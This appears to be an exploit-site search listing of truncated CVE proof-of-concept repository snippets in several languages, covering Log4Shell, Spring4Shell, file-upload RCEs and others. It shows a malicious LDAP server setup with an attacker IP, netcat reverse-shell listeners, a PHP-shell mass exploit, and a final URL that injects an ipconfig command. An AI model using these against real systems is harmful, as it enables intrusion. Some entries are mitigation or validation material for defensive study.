269352 matches found
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- Test d'intrusion 1. Créer un serveur LDAP malveillant utiliser Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "...
CVE-Exploitation-Reports
Rapports d'exploitation CVE Rapports d'exploitation CVE : CVE-2007-3280, CVE-2017-0144, CVE-2019-0708 Ce dépôt contient des rapports d'exploitation détaillés pour les vulnérabilités et expositions communes CVE suivantes : CVE-2007-3280 : Une vulnérabilité de débordement de tampon dans le contrôle...
Spring4Shell
Spring RCE CVE-2022-22965 Environnement de la vulnérabilité Informations sur l'environnement springboot jdk11 tomcat9.0.30 payload Configuration des en-têtes root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Données du cor...
CVE-2021-44228_Example
CVE-2021-44228Beispiel Führen Sie jeden der 3 Abschnitte in einem separaten Tab/Konsole aus marshalsec LDAP-Server https://github.com/chilliwebs/marshalsec Fork von https://github.com/mbechler/marshalsec root@kitploit: docker build -t marshalsec marshalsec/. docker run -it --rm -p 1389:1389...
SSE4-CVE-2022-22965
Spring Boot CVE-2022-22965 Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5 Erste Schritte 1. Führen Sie docker compose up --build aus, um die verwundbare Anwendung zu bauen und zu starten. 2. Führen Sie curl -H "Accept: text/html;"...
CVE-2024-29272
CVE-2024-29272 Dies ist ein Proof-of-Concept für CVE-2024-29272, eine nicht authentifizierte Schwachstelle für willkürlichen Datei-Upload, die zu Remote-Code-Ausführung auf Versionen von VvvebJS -l -p in einem anderen Terminal: root@kitploit: nc -lvnp...
CVE-2021-44228-playground
LOG4SHELL-CVE-2021-44228-Validator Über Dieses Tool ermöglicht es Ihnen zu überprüfen, ob eine einfache Java-Webanwendung für eine vom Benutzer angegebene Version von Java und Log4J anfällig für CVE-2021-44228 ist. Sie können optional eine der vordefinierten Gegenmaßnahmen anwenden. Das von...
CVE-2022-21907
CVE-2022-21907 - Schwachstelle zur Remote-Codeausführung im HTTP-Protokollstapel ⚠️ Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke Ursprüngliche Exploit-Autoren Großer Dank gilt dem ursprünglichen PoC-Autor NU11SECURITY und michelep Beschreibung: Schwachstelle zur...
Telerik_CVE-2019-18935
TelerikUI Python Scanner telerikrcescan.py Beispiele Eine IP auf CVE-2019-18935 prüfen $ python3 telerikrcescan.py -t 192.168.44.21 Einen Hostnamen auf CVE-2019-18935 prüfen $ python3 telerikrcescan.py -t vulnerable.telerik.net Einen CIDR-Netzwerkbereich auf CVE-2019-18935 prüfen $ python3...
Firefox-CVE-2016-9079
Firefox RCE CVE-2016-9079 nsSMILTimeContainer Dies ist ein manueller Exploit von https://www.exploit-db.com/exploits/41151, ein weiterer existiert für Windows 10 https://github.com/soham23/firefox-rce-nssmil, aber er funktionierte nicht unter Windows 8.1, daher habe ich meinen eigenen erstellt. S...
PHP_8.1.x_Exploit
🚀 PHP CVE Autopilot Rilevamento e sfruttamento automatici di vulnerabilità critiche di PHP CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178 PHP8.1.xExploit.sh è uno strumento di valutazione della sicurezza a file singolo, zero configurazione che rileva automaticamente endpoint...
CVE-2025-60787-MotionEye-RCE
CVE-2025-60787: Motioneye Esecuzione Remota di Codice RCE Proof-of-Concept PoC professionale per CVE-2025-60787, una vulnerabilità critica di Esecuzione Remota di Codice RCE in MotionEye versioni ≤ 0.43.1b4. Panoramica tecnica La vulnerabilità deriva da un bypass della validazione lato client nel...
CVE-2026-63223-POC
CVE-2026-63223 PoC — RCE tramite upload di file in CodeIgniter 4 CVSS 9.8 Critico | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE-434 : Upload senza restrizioni di file con tipo pericoloso Corretto in : CodeIgniter 4 v4.7.4 Avviso di sicurezza : GHSA-mmj4-63m4-r6h5 Riassunto della vulnerabilità Le rego...
Writing-Sample-1
Log4j：CVE-2021-44228 Log4j 漏洞及缓解措施概述 目录 1. 执行摘要 2. 识别易受攻击的端点和服务 3. 缓解措施 A. 在边界处阻止 B. 在服务器端点上安装端点检测与响应 EDR C. 将易受攻击的企业应用置于 F5 之后 4. 资源与延伸阅读 执行摘要 Log4j 是许多 Java 应用程序中使用的日志记录工具。2021年12月，Apache 披露了一个远程代码执行 RCE 漏洞，拥有修改日志配置文件权限的攻击者可借此构造并执行恶意代码。据 Apache 称，Log4j2 版本 2.0-beta7 至 2.17.0 均受到该 RCE 漏洞的影响。NIST...
CVE-2021-44228
CVE-2021-44228 Пример Пример сборки контейнера с уязвимостью CVE-2021-44228. НЕ ИСПОЛЬЗУЙТЕ НИ ДЛЯ ЧЕГО, КРОМЕ ТЩАТЕЛЬНО КОНТРОЛИРУЕМОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Этот репозиторий содержит пример приложения, которое намеренно использует зависимость с опасной уязвимостью удаленного выполнения код...
CVE-2025-56399
CVE-2025-56399 Exploit di Massa CVE-2025-56399 – Esecuzione di codice remoto in laravel-file-manager v3.3.1. Sfrutta una configurazione errata in Laravel File Manager per caricare e verificare una shell PHP tramite upload di file non autenticato. Installazione Scarica il repository root@kitploit:...
CVE-2025-15545
CVE-2025-15545 Informações Fornecedor: TP-Link Site do fornecedor: TP-Link Modelo: Archer RE605X Versão de hardware: RE605X v3.0 Versão do firmware: RE605XEUV31.1.5 Build 20240905 Endereço de download do firmware: TP-Link Uma cadeia de vulnerabilidades — incluindo o uso de chaves criptográficas...
CVE-2024-3400
Preuve de concept de CVE-2024-3400 uniquement à des fins éducatives. utilisez uniquement sur des serveurs pour lesquels vous avez l'autorisation de tester. Comment-Utiliser dépendances : root@kitploit: $ pip install rich scannez targets.txt : root@kitploit: $ python run.py -f targets.txt -t 10 -...
CVE-2020-14883
http://myq-x.remore:8090/index.php?m=WebServiceMgmt::invoke&p="d":"\\m\":"Wsf\\\\Win\\\\Firewall::delete\","\\p\":"----\\\"|ipconfig+/allC:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\1.txt||----","\\id\":"1","\\pwd\":"","s":"b75c29ef4a5a3d600d96732b3c5cbed1"...